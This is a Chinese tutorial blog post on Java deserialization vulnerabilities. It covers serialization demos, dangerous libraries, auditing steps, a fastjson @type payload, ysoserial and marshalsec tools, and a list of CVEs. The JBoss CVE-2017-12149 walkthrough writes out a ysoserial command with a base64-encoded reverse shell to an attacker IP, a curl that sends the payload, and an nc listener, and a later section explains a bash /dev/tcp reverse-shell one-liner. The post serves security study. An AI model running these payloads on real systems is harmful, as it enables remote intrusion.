JAVA反序列化漏洞_基础篇

1. JAVA反序列化概述

Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存或文件中,实现跨平台通讯和持久化存储。ObjectOutputStream类的 writeObject() 方法可以实现序列化。反序列化则指把字节序列恢复为 Java 对象的过程,相应的,ObjectInputStream 类的 readObject() 方法用于反序列化。

1.1 反序列化代码

package test;

import java.io.*;

public class Serialize {
        public static void main(String args[])throws Exception{
            //定义obj对象
//            String obj="hello world!";
            MyObject myObject=new MyObject();
            myObject.name="hello world!";
            //创建一个包含对象进行反序列化信息的”object”数据文件
            FileOutputStream fos=new FileOutputStream("object");
            ObjectOutputStream os=new ObjectOutputStream(fos);
            //writeObject()方法将obj对象写入object文件
            os.writeObject(myObject);
            os.close();
            //从文件中反序列化obj对象
            FileInputStream fis=new FileInputStream("object");
            ObjectInputStream ois=new ObjectInputStream(fis);
            //恢复对象
            MyObject obj2=(MyObject)ois.readObject();
            System.out.print(obj2);
            ois.close();
        }
}
class MyObject implements Serializable {//只有实现了Serializable接口的类的对象才可以被序列化
    public String name;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        in.defaultReadObject();
        //执行打开计算器程序命令
        Runtime.getRuntime().exec("cmd.exe /c start dir");
    }
}

从demo中可以看出,java类对象要实现反序列化,该类必须实现 java.io.Serializable接口,并且一般会调用readObect方法,该方法的实现容易引发漏洞。除了readObect,有时也会用到readUnshared方法,与readObect不同的是,此方法不允许后续的readObect/readUnshared调用此次反序列化得到的对象。
上述demo只是一个样例,实战中真正出现漏洞的情况一般有以下几种:
(1)重写ObjectInputStream对象的resolveClass方法中的检测可被绕过。
(2)使用第三方的类进行黑名单控制。容易存在漏网之鱼,如果后期添加了新的功能,还可能引入了新的漏洞利用方式。
(3)使用了不安全的基础库。

commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE

1.2 POP Gadgets

POP,Property-Oriented Programming,即面向属性编程,常用于上层语言构造特定调用链的方法。Gadgets意味小工具,所以POP Gadgets可以理解为面向属性编程的利用工具或利用链。

1.3 反序列化漏洞检测流程

(1)反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
(2)找到对应的功能模块后,检索源码中对反序列化函数的调用来静态寻找反序列化的输入点,如以下函数

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

(3)确定了反序列化输入点后,查看应用的Class Path中是否包含Apache Commons Collections等危险库(ysoserial所支持的其他库亦可),若不包含危险库,则查看一些涉及命令、代码执行的代码区域,防止程序员代码不严谨,导致bug。若包含危险库,则使用ysoserial进行攻击。

2. JAVA对象格式与序列化

2.1 json

JSON是一种轻量级的数据交换格式,基于“键/值”对,结构可以进行嵌套。主流JSON库包含GSON、Jackson、Fastjson。


json反序列化类图

2.1.1 GSON

而GSON是Google公司发布的开源JAVA库,主要用于序列化JAVA对象为JSON字符串,或反序列化JSON字符串成JAVA对象。Gson提供了toJson与fromJson两个转换函数,实现JSON字符串和Java对象的转换。

Student stu=new Student(0;
Gson gson=new Gson();
//Object->json
String json=gson.toJson(stu);
//json->Object
Student stu2=gson.formJson(json,Student.class);

GSON会用到默认构造函数,如果没有默认构造函数会调用sun.misc.Unsafe生成一个实例,默认反序列化的类型包含:String、URL、Date、Enum等,在TypeAdapter初始化,如果超出基本类型要自己实现反序列化机制。

2.1.2 fastjson

fastjson主要提供两个接口toJsonString和parseObject来实现序列化和反序列化,maven配置文件如下

//fastjson<1.2.24存在反序列化漏洞

    com.alibaba
    fastjson
    1.2.23

fastjson使用方法如下:(其中JSONObject可换为JSON)


fastjson demo

fastjson采用无参默认构造方法或者注解绑定。Feature.SupportNonPublicField才能打开非公有属性的反序列化处理。@type可以指定反序列化的任意类,调用其set、get、is方法。

{“@type”:”com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,”name”:”a”…}

2.1.3 jackson

受影响版本:
Jackson Version 2.7.* < 2.7.10
Jackson Version 2.8.* < 2.8.9


    com.fasterxml.jackson.core
    jackson-databind
    2.10.0



    com.fasterxml.jackson.core  
    jackson-annotations  
    2.10.0  
 
ObjectMapper mapper=new ObjectMapper();
String jsonInput="{\"id\":0,\"firstName\":\"Robin\",\"lastName\":\"Wilson\"}";
Person per1=mapper.readValue(jsonInput,Person.class);
Person per2=new Person("Roger","Rabbit");
mapper.writeValue(System.out,per2);

Jackson采用无参默认构造方法,不会反序列化非Public属性,除非有相应的setter或者getter或者相应的注解@JsonAutoDetect。如果启动enableDefaultTyoing方法,允许存储具体数据类型以便多态类型实现反序列化。

2.1.4 JSON反序列化防范

GSON基本没有安全风险,Jackson不使用enableDefaultTyping方法,Fastjson不要启用autotype,若开启autotype选用黑名单策略,依旧有绕过风险。其他json库如json-io或Kryo也不是很安全。

2.2 XML

2.2.1 XStream

XStream使用toXML方法获取对象的XML表示,使用fromXML方法来反序列化XML得到JAVA对象。
XStream配置如下:

    
      com.thoughtworks.xstream
      xstream
      1.4.10
    

XStream使用方法如下


XStream序列化与反序列化

2.2.2 XMLDecoder

package test;

import com.thoughtworks.xstream.XStream;
import org.example.domain.Student;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;

public class XML {
    public static void XMLDecode_Deserialize(String path) throws Exception {
        File file = new File(path);
        FileInputStream fis = new FileInputStream(file);
        BufferedInputStream bis = new BufferedInputStream(fis);
        XMLDecoder xd = new XMLDecoder(bis);
        Object content=xd.readObject();
        System.out.println(content);
        xd.close();
    }

    public static void main(String[] args) {
        //XMLDecode Deserialize Test
        String path = "src/main/resources/test.xml";
        try {
            XMLDecode_Deserialize(path);
        } catch (Exception e) {
            e.printStackTrace();
        }
}
//test.xml


    
        
            
                calc
            
        
        
    

3. JAVA反序列化工具

JAVA常见的反序列化工具包含Freddy/ysoserial/marshalsec等

3.1 ysoserial

ysoserial的github地址:https://github.com/frohoff/ysoserial,使用方法如下:

$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]',
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

3.2 Freddy

https://github.com/bignerdranch/Freddy

3.3 marshalsec

https://github.com/mbechler/marshalsec,要注意的是,使用此工具,java版本需在8以上。

java -cp target / marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec。< Marshaller > [-a] [-v] [-t] [ < gadget_type > [ <参数... > ]]

3.4 其他工具

shell命令转换器
http://www.jackson-t.ca/runtime-exec-payloads.html
经典漏洞POC
https://github.com/joaomatosf/JavaDeserH2HC
JAVA反序列化终极测试工具:DeserializeExploit.jar
JMS利用
https://github.com/matthiaskaiser/jmet

3.5 工具使用demo—以JBoss 5.x/6.x (CVE-2017-12149)为例

漏洞点:

漏洞点

JavaDeserH2HC_payload:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap ubuntu_ip:listener_port
curl http://Jboss_ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

ysoserial_payload:

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjE0NC8yMzMgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser
curl http://Jboss_ip:port/invoker/readonly --data-binary @poc.ser

攻击者开启nc -lvvp port(端口),进行监听,接收反弹shell。端口简单操作命令如下

netstat -tln查看被占用的端口
lsof -i :21 查看端口所在进程
kill -9 3907 结束进程
kill %1 结束刚才开放的监听端口

4. 反弹shell

反弹shell命令如下:

bash -i >& /dev/tcp/ip/port 0>&1

其中文件描述符解释如下:

0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

>&的含义是,当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符。
所以上述shell命令的理解是:bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。

5. JAVA反序列化漏洞典型案例

(1)ActiveMQ(CVE-2015-5254)
(2)fastJson (CVE-2017-17485 ,fastjson <= 1.2.24,补丁绕过CVE-2017-17485)
(3)JBoss JMXInvokerServlet
(4)JBoss 4.x JBossMQ JMS (CVE-2017-7504)
(5)Jmeter RMI(CVE-2018-1297)
(6)Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
(7)Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)
(8)Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
其他:
weblogic:CVE-2015-4852、CVE-2016-0638
XMLDecoder:CVE-2017-3506、CVE-2017-10271(CVE-2017-3506的绕过)、CVE-2017-3248、CVE-2018-2628

参考资料

https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://paper.seebug.org/623/#11
Java_JSON反序列化之殇_看雪安全开发者峰会

你可能感兴趣的:(JAVA反序列化漏洞_基础篇)